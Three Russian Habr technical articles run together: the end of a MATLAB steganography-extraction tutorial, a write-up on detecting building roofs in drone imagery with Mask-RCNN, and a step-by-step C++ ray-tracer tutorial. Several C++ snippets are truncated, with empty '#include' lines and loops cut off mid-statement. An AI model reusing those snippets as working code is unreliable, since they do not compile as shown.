Для того чтобы найти прогнозируемую яркость находится сумма ячеек в строке левее и правее от пикселя с информацией, ячеек расположенных выше и ниже от пикселя. Поскольку при этом значение яркости синего канала самого пикселя со встроенной информацией прибавляется два раза, то его необходимо умножить на 2 и вычесть, после чего разделить полученное число на количество пикселей, применяемых при расчете яркости, в данной функции оно составляет 12.
```
rgbImgprog=(double(sum(rgbImgtxt(coords(i,j,k)-sigma:coords(i,j,k)+sigma,coords(i,j,k+3),3)))+double(sum(rgbImgtxt(coords(i,j,k),coords(i,j,k+3)-sigma:coords(i,j,k+3)+sigma,3)))-2*double(rgbImgtxt(coords(i,j,k),coords(i,j,k+3),3)))/(4*sigma);
```
Для того, чтобы расшифровать сообщение, необходимо найти разницу между фактической яркостью синего канала и прогнозированной. Следует также рассмотреть два варианта, когда разница между фактической и спрогнозированной яркостью равна 0.
В первом случае, если разница равна 0, а прогнозируемая яркость равна 255, то в переменную del необходимо записать любое положительное число, например, 0,5.
Если же и разница, и прогнозируемая яркости равны 0, то в переменную del записывается любое отрицательное число.
```
del=double(rgbImgtxt(coords(i,j,k),coords(i,j,k+3),3))-rgbImgprog;
if ( and(del==0,rgbImgprog==255) )
del=0.5;
end
if ( and(del==0,rgbImgprog==0) )
del=-0.5;
end
```
Для того чтобы извлечь сообщение необходимо сравнить значение переменной del с 0. В случае, если она больше 0, то в вектор kat записывается 1, в противном случае – 0.
```
if ( del>0 )
kat(k)=1;
else
kat(k)=0;
end
```
Так как каждый бит записывается в изображение определенное количество раз, (в нашем случае 3 раза), то мы получим вектор из трех цифр. Эти цифры могут быть разными, поскольку извлечение информации носит вероятностный характер. Для того что бы найти истинное значение бита зашифрованного текста, необходимо найти среднее арифметическое всех элементов вектора и выполнить округление.
```
txt_new_bin(i,j)=round(sum(kat)/r);
```
После того, как будет найдено значение всех битов сообщения, их необходимо преобразовать в тип char и записать в виде строки:
```
txt_new_doub=bin2dec(num2str(txt_new_bin));
s=size(txt_new_doub);
txt_new=char(reshape(txt_new_doub,s(2),s(1)));
```
После этого функция передаст в скрипт переменную txt\_new с извлеченным сообщением. Это сообщение может незначительно отличаться от исходного текста, однако остается читабельным. Возникновение ошибок связано с тем, что прогнозирование яркости не всегда дает объективный результат (например, наличие на изображение большого количества мелких контрастных деталей).
Я встроил в изображение фразу «Баварский моторный завод». В результате 10 попыток встраивания-извлечения информации я получил следующие результаты:
```
Баврский моорный завод
Баварский мот>рный завод
Баварскай моторный завод
Б0варсЪйй моторный гавод
Баварский моторный завод
Баварский моторный завод
Ааварский моторныб заво
БАварский моторный завод
Баварский моторный завод
Баварский моторный авод
```
Для того, что бы избежать этой неточности можно увеличивать число встраиваний одного бита и увеличивать размер «креста», по которому прогнозируется яркость. Однако эти способы эффективны до определенного момента. Для того чтобы достичь наилучшего результата, необходимо использовать помехоустойчивое кодирование.
Благодарю за внимание!
Список использованных источников:
1.[«Стеганографический метод Куттера-Джордана-Боссена».](http://habrahabr.ru/post/115287/)
2. [Статья Защелкина, Иващенко, Иванова «Усовершенствование стеганографического скрытия данных Куттера-Джордана-Боссена»](http://www.khai.edu/csp/nauchportal/Arhiv/REKS/2013/REKS513/Zaschelk.pdf). | https://habr.com/ru/post/230747/ | null | ru | null |
# MASK-RCNN для поиска крыш по снимкам с беспилотников
В белом-белом городе на белой-белой улице стояли белые-белые дома… А как быстро вы можете найти все крыши домов на этой фотографии?
Все чаще можно слышать про планы правительства провести полную инвентаризацию объектов недвижимости с целью уточнения кадастровых данных. Для первичного решения этой задачи можно применить простой способ, основанный на расчете площади крыш капитальных строений по аэрофотоснимкам и дальнейшее сопоставление с кадастровыми данными. К сожалению, ручной поиск и расчет занимает много времени, а поскольку новые дома сносятся и строятся непрерывно, то расчет требуется повторять снова и снова. Сразу возникает гипотеза, что этот процесс можно автоматизировать с помощью алгоритмов машинного обучения, в частности, Computer Vision. В этой статье я расскажу о том, как мы в [«НОРБИТ»](https://www.norbit.ru/) решали эту задачу и с какими сложностями столкнулись.
Спойлер — у нас [получилось](https://www.vedomosti.ru/press_releases/2020/03/11/norbit-i-n-sistems-razrabotali-intellektualnuyu-model-klassifikatsii-geodannih-dlya-kompanii-shahti). В основе разработанного ML сервиса находится модель глубокого машинного обучения, основанная на свёрточных (convolution) нейронных сетях. Сервис принимает на вход снимки с беспилотных летательных аппаратов, на выходе генерирует GeoJSON файл с разметкой найденных объектов капитального строительства с привязкой к географическим координатам.
В результате это выглядит так:
Проблемы
--------
Начнем с технических проблем, с которыми мы столкнулись:
* есть существенное отличие между зимними и летними аэрофотоснимками (модель, обученная только на летних фотографиях совершенно не способна находить крыши зимой);
* для решения задачи определения площади капитального строения очень важно точное определение границ крыш, а не просто их обнаружение и локализация;
* часто возникала ситуация, когда несколько частей одной крыши оказывались на соседних тайлах (квадратных кропах облета), а поскольку процесс инференса (запуск обученной модели для новых изображений) выполняется для каждого тайла в отдельности, то на выходе вместо цельной крыши мы получали несколько ее кусков;
* модель демонстрирует хорошие результаты, начиная с определенного разрешения снимков, когда нейронная сеть может четко выделять контуры объектов (это важно учитывать при планировании аэрофотосъемки). Для инференса космоснимков нужно немного иначе обучать модель;
* некоторые объекты (например, бассейны и грузовики) модель иногда ошибочно считала крышами.
А еще беспилотники иногда приносят вот такие фотографии:
Также хотелось бы отметить и проблемы, которые могли бы быть, но нас не коснулись:
* у нас не было задачи выполнять инференс в ограниченное время (например, непосредственно в момент полета), что сразу решило все возможные проблемы с производительностью;
* на входе для обработки мы сразу получали качественные изображения в высоком разрешении (используются объективы с фокусным расстоянием 21мм на высоте 250 м, что составляет 5см/px) от нашего заказчика, компании «Шахты», могли использовать их экспертизу в геопозиционировании объектов на картах, а также имели возможность устанавливать определенный набор требований к будущим полетам беспилотников, что в итоге сильно снизило вероятность появления совсем уж уникальных тайлов, которых не было в обучающей выборке;
Первый вариант решения задачи, обводка с помощью Boundary box
-------------------------------------------------------------
Несколько слов о том, какие инструменты были использованы нами для создания решения.
* Anaconda — удобная система управления пакетами для языков Python и R.
* Tensorflow — открытая программная библиотека для машинного обучения, разработанная компанией Google.
* Keras — надстройка над фреймворками Deeplearning4j, TensorFlow и Theano.
* OpenCV — библиотека алгоритмов компьютерного зрения, обработки изображений и численных алгоритмов общего назначения с открытым кодом.
* Flask — фреймворк для создания веб-приложений на языке программирования Python.
В качестве ОС использовали Ubuntu 18.04. С драйверами на GPU (NVIDIA) в Ubuntu все в порядке, поэтому задача обычно решается одной командой:
`> sudo apt install nvidia-cuda-toolkit`
### Подготовка тайлов
Первой задачей, с которой мы столкнулись, было разбиение изображений облета на тайлы (2048х2048 px). Можно было бы написать свой скрипт, но тогда бы пришлось думать о сохранении географической привязки каждого тайла. Проще было использовать готовое решение, например, GeoServer — это ПО с открытым исходным кодом, позволяющее публиковать на сервере геоданные. Помимо этого GeoServer решил для нас еще одну задачу – удобное отображение результата автоматической разметки на карте. Это можно сделать локально, например, и в qGIS, но для распределенной команды и демонстрации удобнее web-ресурс.
Для выполнения разбиения на тайлы нужно в настройках указать требуемый масштаб и размер.
Для переводов между системами координат мы использовали библиотеку pyproj:
```
from pyproj import Proj, transform
class Converter:
P3857 = Proj(init='epsg:3857')
P4326 = Proj(init='epsg:4326')
...
def from_3857_to_GPS(self, point):
x, y = point
return transform(self.P3857, self.P4326, x, y)
def from_GPS_to_3857(self, point):
x, y = point
return transform(self.P4326, self.P3857, x, y)
...
```
В результате удалось легко сформировать из всех полигонов один большой слой и наложить его сверху на подложку.
**Для установки ПО GeoServer необходимо выполнить следующие шаги.**
1. Установить Java версии 8.
2. Скачать GeoServer. Последнюю версию ПО можно скачать на [официальном сайте](http://geoserver.org/release/stable/)
3. Распаковать в выбранную директорию на сервере, например, `/usr/share/geoserver`
4. Добавить в переменную окружения путь к директории
**`echo «export GEOSERVER_HOME=/usr/share/geoserver» >> ~/.profile`**
5. Создать группу пользователей геосервера:
**`sudo groupadd geoserver`**
6. Добавить пользователя, который будет работать с моделью, в группу геосервера:
**`sudo usermod -a -G geoserver`**
7. Установить группу-владельца директории геосервера:
**`sudo chown -R :geoserver /usr/share/geoserver/`**
8. Добавить права доступа для группы:
**`sudo chmod -R g+rwx /usr/share/geoserver/`**
9. Запустить GeoServer
**`cd geoserver/bin && sh startup.sh`**
GeoServer – не единственное приложение, позволяющее решить нашу задачу. В качестве альтернативы, например, можно рассмотреть ArcGIS for Server, однако этот продукт является проприетарным, потому использовать его мы не стали.
Далее предстояло на каждом тайле находить все видимые крыши. Первым подходом к решению задачи было использование [object\_detection](https://github.com/tensorflow/models/tree/master/research/object_detection) из набора models/research Tensorflow. Этим способом можно находить и локализовывать прямоугольным выделением (boundary box) классы на изображениях.
### Разметка обучающих данных
Очевидно, для обучения модели нужен размеченный датасет. По счастливой случайности, помимо облетов, в наших закромах сохранился датасет на 50 тыс. крыш со старых добрых времен, когда все датасеты для обучения еще повсеместно лежали в открытом доступе.
Точный размер обучающей выборки, требующийся для получения приемлемой точности модели, заранее предсказать довольно сложно. Он может варьироваться в зависимости от качества изображений, степени их непохожести друг на друга и условий, в которых модель будет эксплуатироваться в production. У нас были кейсы, когда хватало 200 шт., а иногда не хватало и 50 тыс. размеченных образцов. В случае дефицита размеченных изображений мы обычно добавляем методы аугментации: повороты, зеркальные отражения, цветокоррекции и др.
Сейчас доступно множество сервисов, позволяющих произвести разметку изображений – как с открытым исходным кодом для установки на свой компьютер/сервер, так и корпоративные решения, включающие работу внешних асессоров, например Яндекс.Толока. В этом проекте мы использовали самый простой [VGG Image Annotator](http://www.robots.ox.ac.uk/~vgg/software/via/via.html). В качестве альтернативы ему можно попробовать [coco-annotator](https://github.com/jsbroks/coco-annotator) или [label-studio](https://labelstud.io/). Последний мы обычно используем для разметки текста и аудиофайлов.
Для обучения на разметке различных аннотаторов обычно нужно выполнить небольшое перекладывание полей, пример для [VGG](https://github.com/timakov-dmitry/roof_area/blob/master/dataset.py).
Чтобы правильно вычислить площадь крыши, которая попала в область прямоугольного выделения, необходимо, соблюдения нескольких условий:
* все границы крыш должны быть параллельны/перпендикулярны на каждом тайле границам обводки. В противном случае будет проблема с превышением величины вычисленной площади:
* важно, чтобы крыша была прямоугольная, иначе величина площади также получится завышенной:
Для решения второй проблемы можно попробовать обучить отдельную модель, которая бы определяла правильный угол поворота тайла для разметки, но все получилось немного проще. Люди сами стремятся к уменьшению энтропии, поэтому выравнивают все рукотворные сооружения по отношению друг к другу, особенно при плотной застройке. Если посмотреть сверху, то на локализованном участке заборы, дорожки, посадки, теплицы, беседки будут параллельны или перпендикулярны границам крыш. Остается только найти все четкие линии и вычислить самый часто встречающийся угол наклона к вертикали. Для этого в OpenCV есть замечательный инструмент HoughLinesP.
```
...
lines = cv2.HoughLinesP(edges, 1, np.pi/180, 50, minLineLength=minLineLength, maxLineGap=5)
if lines is not None:
length = image.shape[0]
angles = []
for x1, y1, x2, y2 in lines[0]:
angle = math.degrees(math.atan2(y2 — y1, x2 - x1))
angles.append(angle)
parts_angles.append(angles)
median_angle = np.median(angles)
...
# разбиение тайла на кропы
for x in range(0, image.shape[0]-1, image.shape[0] // count_crops):
for y in range(0, image.shape[1]-1, image.shape[1] // count_crops):
get_line(image[x:x+image.shape[0]//count_crops, y:y+image.shape[1]//count_crops, :])
...
# вычисление медианы угла на всех кропах
np.median([a if a>0 else 90+a for a in np.array(parts_angles).flatten()])
```
После нахождения угла изображение поворачиваем с помощью аффинного преобразования:
```
h, w = image.shape[:2]
image_center = (w/2, h/2)
if size is None:
radians = math.radians(angle)
sin = math.sin(radians)
cos = math.cos(radians)
size = (int((h * abs(sin)) + (w * abs(cos))), int((h * abs(cos)) + (w * abs(sin))))
rotation_matrix = cv2.getRotationMatrix2D(image_center, angle, 1)
rotation_matrix[0, 2] += ((size[0] / 2) — image_center[0])
rotation_matrix[1, 2] += ((size[1] / 2) — image_center[1])
else:
rotation_matrix = cv2.getRotationMatrix2D(image_center, angle, 1)
cv2.warpAffine(image, rotation_matrix, size)
```
Полный код примера [тут](https://github.com/timakov-dmitry/roof_area/blob/master/tile_rotate.py). Вот как это выглядит:
Метод поворота тайлов и разметка прямоугольниками работает быстрее, чем разметка масками, практически все крыши находятся, но в продакшене этот метод используется только как вспомогательный из-за нескольких недостатков:
* есть множество облетов, где встречается большое количество непрямоугольных крыш, из-за этого слишком много ручной работы по уточнению площадей,
* иногда встречаются дома с разной ориентацией на одном тайле,
* иногда на тайлах встречается множество ложных линий, что в итоге приводит к неправильному повороту. Выглядит это так:
Итоговое решение на базе Mask-RCNN
----------------------------------
Второй попыткой была реализация поиска и выделения крыш масками попиксельно, а затем автоматическая обводка контуров найденных масок и создание векторных полигонов.
Материалов о принципах работы, видах и задачах свёрточных нейронных сетей, в том числе и на русском языке, уже предостаточно, поэтому мы не станем углубляться в них в этой статье. Остановимся только на одной конкретной реализации, Mask-RCNN – архитектуры для локализации и выделения контуров объектов на изображениях. Есть и другие отличные решения со своими достоинствами и недостатками, например, UNet, но лучшего качества удалось добиться именно на Mask-RCNN.
В процессе своего развития она прошла несколько стадий. Первая версия R-CNN была разработана в 2014 году. Принцип ее работы заключается в выделении на изображении небольших областей, для каждой из которых производится оценка вероятности наличия в этой области целевого объекта. R-CNN отлично справлялась с поставленной задачей, однако скорость ее работы оставляла желать лучшего. Закономерным развитием стали сети Fast R-CNN и Faster R-CNN, получившие улучшения в алгоритме обхода изображений, что позволило значительно повысить быстродействие. На выходе в Faster R-CNN появляется разметка прямоугольным выделением, обозначающим границы объекта, что не всегда достаточно для решения задачи.
В Mask R-CNN добавляется еще и попиксельное наложение маски, позволяющее получить точное очертание объекта.
Наглядно boundary box и маски можно увидеть на результате работы модели (включен фильтр по минимальной площади здания):
Условно можно выделить 4 этапа в работе этой сети:
* стандартное для всех сверточных нейронных сетей выделение признаков на изображении, таких как линии, изгибы, контрастные границы и другие;
* Region Proposal Network (RPN) сканирует небольшие фрагменты изображения, именуемые anchors (якоря) и определяет, содержит ли этот якорь признаки, характерные для целевого класса (в нашем случае крыши);
* Region of Interest Classification and Bounding Box. На этом этапе сеть, основываясь на результатах предыдущего этапа пытается выделить на фотографии большие прямоугольные области, предположительно содержащие целевой объект;
* Segmentation Masks. На этом этапе из прямоугольной области, полученной при наложении boundary box, получается маска искомого объекта.
Помимо всего, сеть оказалась очень гибкой в конфигурировании, и нам удалось перестроить ее на обработку изображений с дополнительными информационными слоями.
Использование исключительно только RGB изображений не позволило добиться необходимой точности распознавания (модель пропускала целые здания, была средняя ошибка в 15% в вычислении площади крыш), поэтому мы подавали на вход модели дополнительные полезные данные, например карты высот, полученные методом [фотограмметрии.](https://ru.wikipedia.org/wiki/%D0%A4%D0%BE%D1%82%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B5%D1%82%D1%80%D0%B8%D1%8F)
### Метрики, применяемые для оценки качества модели
При определении качества моделей мы чаще всего пользовались метрикой Intersection over Union (IoU)
Пример кода для вычисления IoU с использованием библиотеки geometry.shapely:
```
from shapely.geometry import Polygon
true_polygon = Polygon([(2, 2), (2, 6), (5, 6), (5, 2)])
predicted_polygon = Polygon([(3, 3), (3, 7), (6, 7), (6, 3)])
print(true_polygon.intersection(predicted_polygon).area / true_polygon.union(predicted_polygon).area)
>>> 0.3333333333333333
```
Отслеживание процесса обучения моделей удобно контролировать с помощью Tensorboard — удобного инструмента для контроля метрик, позволяющего в режиме реального времени получать данные о качестве модели и сопоставлять их с другими моделями.
Tensorboard предоставляет данные по множеству различных метрик. Для нас наиболее интересными являются:
* val\_mrcnn\_bbox\_loss — показывает, насколько хорошо модель локализует объекты (т. е. накладывает boundary box);
* val\_mrcnn\_mask\_loss — показывает, насколько хорошо модель сегментирует объекты (т. е. накладывает маску).
Обучение модели и валидация
---------------------------
При обучении нами применялась стандартная практика случайного разделения датасета на 3 части – обучающей, валидационной и тестовой. В процессе обучения качество модели оценивается на валидационной выборке, а по завершении проходит финальное испытание на тестовых данных, которые были от нее закрыты в процессе обучения.
Наши первые запуски обучения мы делали на небольшом наборе летних снимков и, решив проверить, насколько хороша будет наша модель зимой, ожидаемо получили разочаровывающий результат. Вариант с использованием разных моделей для разных сезонов, безусловно, является отличным выходом из ситуации, однако он повлек бы за собой ряд неудобств, поэтому решили попытаться сделать модель универсальной. Поэкспериментировав с различными конфигурациями слоев, а также закрывая от изменений веса отдельных слоев, мы нашли оптимальную стратегию обучения модели, подавая на вход попеременно летние и зимние снимки.
Создание фонового сервиса для распознавания
-------------------------------------------
Теперь, когда у нас есть функционирующая модель, можно сделать из скрипта распознавания фоновый API сервис, который принимает на вход изображение, а на выходе генерит json с найденными полигонами крыш. Это непосредственно не влияет на решение задачи, но может быть кому-то будет полезно.
Ubuntu использует systemd, и пример будет приведен именно для этой системы. Код самого сервиса можно посмотреть [здесь](https://github.com/timakov-dmitry/roof_area/blob/master/roofs_detector.py). Пользовательские юниты находятся в директории /etc/systemd/system, там мы и создадим файл нашего сервиса.
`cd /etc/systemd/system
sudo touch my_srv.service`
Отредактируем файл:
```
sudo vim my_srv.service
```
Юнит systemd состоит из трех секций:
* [Unit] — описывает порядок и условие запуска (например, можно указать процессу дожидаться запуска определенной службы и только после этого стартовать самому);
* [Service] — описывает параметры запуска;
* [Install] — описывает поведение сервиса при добавлении его в автозагрузку.
В результате наш файл будет выглядеть таким образом:
```
[Unit]
Description=my_test_unit
[Service]
WorkingDirectory=/home/user/test_project
User=root
ExecStart=/home/user/test_project/venv/bin/python3 /home/user/test_project/script.py
[Install]
WantedBy=multi-user.target
```
Теперь перезагрузим конфигурацию systemd и запустим наш сервис:
```
sudo systemctl daemon-reload
sudo systemctl start my_srv.service
```
Это простой пример фонового процесса, systemd поддерживает множество различных параметров, позволяющих гибко конфигурировать поведение сервиса, но для нашей задачи ничего более сложного и не требуется.
Выводы
------
Главным результатом проекта стала возможность автоматически выявлять несоответствия фактической застройки и информации, содержащейся в кадастровых данных.
В результате оценки точности модели на тестовых данных получены следующие значения: количество найденных крыш – 91%, точность обводки крыш полигонами – 94%.
Удалось добиться приемлемого качества работы моделей на летних и зимних облётах, но качество распознавания может снижаться на снимках сразу после снегопада.
Теперь даже Сиднейский оперный театр не ускользнет от глаз нашей модели.
Мы планируем выложить этот сервис с обученной моделью на нашем демостенде. Если интересно попробовать работу сервиса на своих собственных фото, присылайте заявки на ai@norbit.ru. | https://habr.com/ru/post/500752/ | null | ru | null |
# 256 строчек голого C++: пишем трассировщик лучей с нуля за несколько часов
Публикую очередную главу из моего [курса лекций по компьютерной графике](https://github.com/ssloy/tinyrenderer/wiki) (вот [тут можно читать](https://habr.com/ru/post/249139/) оригинал на русском, хотя английская версия новее). На сей раз тема разговора — [отрисовка сцен при помощи трассировки лучей](https://github.com/ssloy/tinyraytracer). Как обычно, я стараюсь избегать сторонних библиотек, так как это заставляет студентов заглянуть под капот.
Подобных проектов в интернете уже море, но практически все они показывают законченные программы, в которых разобраться крайне непросто. Вот, например, очень известная [программа рендеринга, влезающая на визитку](https://www.taylorpetrick.com/blog/post/business-rt). Очень впечатляющий результат, однако разобраться в этом коде очень непросто. Моей целью является не показать как я могу, а детально рассказать, как подобное воспроизвести. Более того, мне кажется, что конкретно эта лекция полезна даже не столь как учебный материал по комьпютерной графике, но скорее как пособие по программированию. Я последовательно покажу, как прийти к конечному результату, начиная с самого нуля: как разложить сложную задачу на элементарно решаемые этапы.
*Внимание: просто рассматривать мой код, равно как и просто читать эту статью с чашкой чая в руке, смысла не имеет. Эта статья рассчитана на то, что вы возьмётесь за клавиатуру и напишете ваш собственный движок. Он наверняка будет лучше моего. Ну или просто смените язык программирования!*
Итак, сегодня я покажу, как отрисовывать подобные картинки:
Этап первый: сохранение картинки на диск
========================================
Я не хочу заморачиваться с оконными менеджерами, обработкой мыши/клавиатуры и тому подобным. Результатом работы нашей программы будет простая картинка, сохранённая на диск. Итак, первое, что нам нужно уметь, это сохранить картинку на диск. [Вот здесь](https://github.com/ssloy/tinyraytracer/tree/bd36c9857305b3cbd06f5b768bb48a92df9ae68b) лежит код, который позволяет это сделать. Давайте я приведу его основной файл:
```
#include
#include
#include
#include
#include
#include "geometry.h"
void render() {
const int width = 1024;
const int height = 768;
std::vector framebuffer(width\*height);
for (size\_t j = 0; j
```
В функции main вызывается только функция render(), больше ничего. Что же внутри функции render()? Перво-наперво я определяю картинку как одномерный массив framebuffer значений типа Vec3f, это простые трёхмерные векторы, которые дают нам цвет (r,g,b) для каждого пикселя.
Класс векторов живёт в файле geometry.h, описывать я его здесь не буду: во-первых, там всё тривиально, простое манипулирование двух и трёхмерными векторами (сложение, вычитание, присваивание, умножение на скаляр, скалярное произвдение), а во-вторых, [gbg](https://habr.com/ru/users/gbg/) его уже [подробно описал](https://habr.com/ru/post/248909/) в рамках курса лекций по компьютерной графике.
Картинку я сохраняю в [формате ppm](https://en.wikipedia.org/wiki/Netpbm_format); это самый простой способ сохранения изображений, хотя и не всегда самый удобный для дальнейшего просматривания. Если хотите сохранять в других форматах, то рекомендую всё же подключить стороннюю библиотеку, например, [stb](https://github.com/nothings/stb). Это прекрасная библиотека: достаточно в проект включить один заголовочный файл stb\_image\_write.h, и это позволит сохранять хоть в png, хоть в jpg.
Итого, целью данного этапа является убедиться, что мы можем а) создать картинку в памяти и записывать туда разные значения цветов б) сохранить результат на диск, чтобы можно было его просмотреть в сторонней программе. Вот результат:
Этап второй, самый сложный: непосредственно трассировка лучей
=============================================================
Это самый важный и сложный этап из всей цепочки. Я хочу определить в моём коде одну сферу и показать её на экране, не заморачиваясь ни материалами, ни освещением. Вот так должен выглядеть наш результат:
Для удобства в моём репозитории по одному коммиту на каждый этап; Github позволяет очень удобно просматривать внесённые изменения. [Вот, например](https://github.com/ssloy/tinyraytracer/commit/5806eb45e93dab225ab335824cbc3f537d511b28), что изменилось во втором коммите по сравнению с первым.
Для начала: что нам нужно, чтобы в памяти компьютера представить сферу? Нам достаточно четырёх чисел: трёхмерный вектор с центром сферы и скаляр, описывающий радиус:
```
struct Sphere {
Vec3f center;
float radius;
Sphere(const Vec3f &c, const float &r) : center(c), radius(r) {}
bool ray_intersect(const Vec3f &orig, const Vec3f &dir, float &t0) const {
Vec3f L = center - orig;
float tca = L*dir;
float d2 = L*L - tca*tca;
if (d2 > radius*radius) return false;
float thc = sqrtf(radius*radius - d2);
t0 = tca - thc;
float t1 = tca + thc;
if (t0 < 0) t0 = t1;
if (t0 < 0) return false;
return true;
}
};
```
Единственная нетривиальная вещь в этом коде — это функция, которая позволяет проверить, пересекается ли заданный луч (исходящий из orig в направлении dir) с нашей сферой. Детальное описание алгоритма проверки пересечения луча и сферы можно [прочитать тут](http://www.lighthouse3d.com/tutorials/maths/ray-sphere-intersection/), очень рекомендую это сделать и проверить мой код.
Как работает трассировка лучей? Очень просто. На первом этапе мы просто замели картинку градиентом:
```
for (size_t j = 0; j
```
Теперь же мы для каждого пикселя сформируем луч, идущий из центра координат, и проходящий через наш пиксель, и проверим, не пересекает ли этот луч нашу сферу.
Если пересечения со сферой нет, то мы поставим цвет1, иначе цвет2:
```
Vec3f cast_ray(const Vec3f &orig, const Vec3f &dir, const Sphere &sphere) {
float sphere_dist = std::numeric_limits::max();
if (!sphere.ray\_intersect(orig, dir, sphere\_dist)) {
return Vec3f(0.2, 0.7, 0.8); // background color
}
return Vec3f(0.4, 0.4, 0.3);
}
void render(const Sphere &sphere) {
 [...]
for (size\_t j = 0; j
```
На этом месте рекомендую взять карандаш и проверить на бумаге все вычисления, как пересечение луча со сферой, так и заметание картинки лучами. На всякий случай, наша камера определяется следующими вещами:
* ширина картинки, width
* высота картинки, height
* угол обзора, fov
* расположение камеры, Vec3f(0,0,0)
* направление взора, вдоль оси z, в направлении минус бесконечности
Этап третий: добавляем ещё сфер
===============================
Всё самое сложное уже позади, теперь наш путь безоблачен. Если мы умеем нарисовать одну сферу. то явно добавить ещё несколько труда не составит. [Вот тут](https://github.com/ssloy/tinyraytracer/commit/c19c430151cb659372b4988876173b022164e371) смотреть изменения в коде, а вот так выглядит результат:
Этап четвёртый: освещение
=========================
Всем хороша наша картинка, да вот только освещения не хватает. На протяжении всей оставшейся статьи мы об этом только и будем разговаривать. Добавим несколько точечных источников освещения:
```
struct Light {
Light(const Vec3f &p, const float &i) : position(p), intensity(i) {}
Vec3f position;
float intensity;
};
```
Считать настоящее освещение — это очень и очень непростая задача, поэтому, как и все, мы будем обманывать глаз, рисуя совершенно нефизичные, но максимально возможно правдоподобные результаты. Первое замечание: почему зимой холодно, а летом жарко? Потому что нагрев поверхности земли зависит от угла падения солнечных лучей. Чем выше солнце над горизонтом, тем ярче освещается поверхность. И наоборот, чем ниже над горизонтом, тем слабее. Ну а после того, как солнце сядет за горизонт, до нас и вовсе фотоны не долетают. Применительно к нашим сферам: вот наш луч, испущенный из камеры (никакого отношения к фотонам, обратите внимание!) пересёкся со сферой. Как нам понять, как освещена точка пересечения? Можно просто посмотреть на угол между нормальным вектором в этой точке и вектором, описывающим направление света. Чем меньше угол, тем лучше освещена поверхность. Чтобы считать было ещё удобнее, можно просто взять скалярное произвдение между вектором нормали и вектором освещения. Напоминаю, что скалярное произвдение между двумя векторами a и b равно произведению норм векторов на косинус угла между векторами: a\*b = |a| |b| cos(alpha(a,b)). Если взять векторы единичной длины, то простейшее скалярное произведение даст нам интенсивность освещения поверхности.
Таким образом, в функции cast\_ray вместо постоянного цвета будем возвращать цвет с учётом источников освещения:
```
Vec3f cast_ray(const Vec3f &orig, const Vec3f &dir, const Sphere &sphere) {
[...]
float diffuse_light_intensity = 0;
for (size_t i=0; i
```
Изменения [смотреть тут](https://github.com/ssloy/tinyraytracer/commit/9a728fff2bbebb1eedd86e1ac89f657d43191609), а вот результат работы программы:
Этап пятый: блестящие поверхности
=================================
Трюк со скалярным произведением между нормальным вектором и вектором света неплохо приближает освещение матовых поверхностей, в литературе называется диффузным освещением. Что же делать, если мы хотим гладкие да блестящие? Я хочу получить вот такую картинку:
Посмотрите, [насколько мало](https://github.com/ssloy/tinyraytracer/commit/f5ec45c2541feb86b6a30cc3bb04917d60d13e9b) нужно было сделать изменений. Если вкратце, то отсветы на блестящих поверхностях тем ярче, чем меньше угол между направлением взгляда и направлением *отражённого* света. Ну а углы, понятно, мы будем считать через скалярные произведения, ровно как и раньше.
Эта гимнастика с освещением матовых и блестящих поверхностей известна как [модель Фонга](https://en.wikipedia.org/wiki/Phong_reflection_model). В вики есть довольно детальное описание этой модели освещения, она хорошо читается при параллельном сравнении с моим кодом. Вот ключевая для понимания картинка:
Этап шестой: тени
=================
А почему это у нас есть свет, но нет теней? Непорядок! Хочу вот такую картинку:
[Всего шесть строчек кода](https://github.com/ssloy/tinyraytracer/commit/ef70d1356169dacb3183ad4fcb4c23f1d7003e1b) позволяют этого добиться: при отрисовке каждой точки мы просто убеждаемся, не пересекает ли луч точка-источник света объекты нашей сцены, и если пересекает, то пропускам текущий источник света. Тут есть только маленькая тонкость: я самую малость сдвигаю точку в направлении нормали:
```
Vec3f shadow_orig = light_dir*N < 0 ? point - N*1e-3 : point + N*1e-3;
```
Почему? Да просто наша точка лежит на поверхности объекта, и (исключаяя вопрос численных погрешностей) любой луч из этой точки будет пересекать нашу сцену.
Этап седьмой: отражения
=======================
Это невероятно, но чтобы добавить отражения в нашу сцену, нам достаточно добавить только три строчки кода:
```
Vec3f reflect_dir = reflect(dir, N).normalize();
Vec3f reflect_orig = reflect_dir*N < 0 ? point - N*1e-3 : point + N*1e-3; // offset the original point to avoid occlusion by the object itself
Vec3f reflect_color = cast_ray(reflect_orig, reflect_dir, spheres, lights, depth + 1);
```
[Убедитесь в этом сами:](https://github.com/ssloy/tinyraytracer/commit/c80479d1d22fe98f41b584972affeb43422a23a6) при пересечении с объектом мы просто считаем отражённый луч (функция из подсчёта отбесков пригодилась!) и рекурсивно вызываем функцию cast\_ray в направлении отражённого луча. Обязательно поиграйте с [глубиной рекурсии](https://github.com/ssloy/tinyraytracer/blob/c80479d1d22fe98f41b584972affeb43422a23a6/tinyraytracer.cpp#L65), я её поставил равной четырём, начните с нуля, что будет изменяться на картинке? Вот мой результат с работающим отражением и глубиной четыре:
Этап восьмой: преломление
=========================
Научившись считать отражения, [преломления считаются ровно так же](https://github.com/ssloy/tinyraytracer/commit/b69793bf6e8be54973cad1b18185a67dbf11bad1). Одна функция позволяющая посчитать направление преломившегося луча ([по закону Снеллиуса](https://en.wikipedia.org/wiki/Snell%27s_law)), и три строчки кода в нашей рекурсивной функции cast\_ray. Вот результат, в котором ближайший шарик стал «стеклянным», он и преломляет, и немного отражает:
Этап девятый: добавляем ещё объекты
===================================
А чего это мы всё без молока, да без молока. До этого момента мы рендерили только сферы, поскольку это один из простейших нетривиальных математических объектов. А давайте добавим кусок плоскости. Классикой жанра является шахматная доска. Для этого нам вполне достаточно [десятка строчек](https://github.com/ssloy/tinyraytracer/commit/5e0da1f09fdbc585caa16df4c7b2f527d61536ef) в функции, которая считает пересечение луча со сценой.
Ну и вот результат:
Как я и обещал, ровно 256 строчек кода, [посчитайте сами](https://github.com/ssloy/tinyraytracer)!
Этап десятый: домашнее задание
==============================
Мы прошли довольно долгий путь: научились добавлять объекты в сцену, считать довольно сложное освещение. Давайте я оставлю два задания в качестве домашки. Абсолютно вся подготовительная работа уже сделана в ветке [homework\_assignment](https://github.com/ssloy/tinyraytracer/tree/homework_assignment). Каждое задание потребует максимум десять строчек кода.
### Задание первое: Environment map
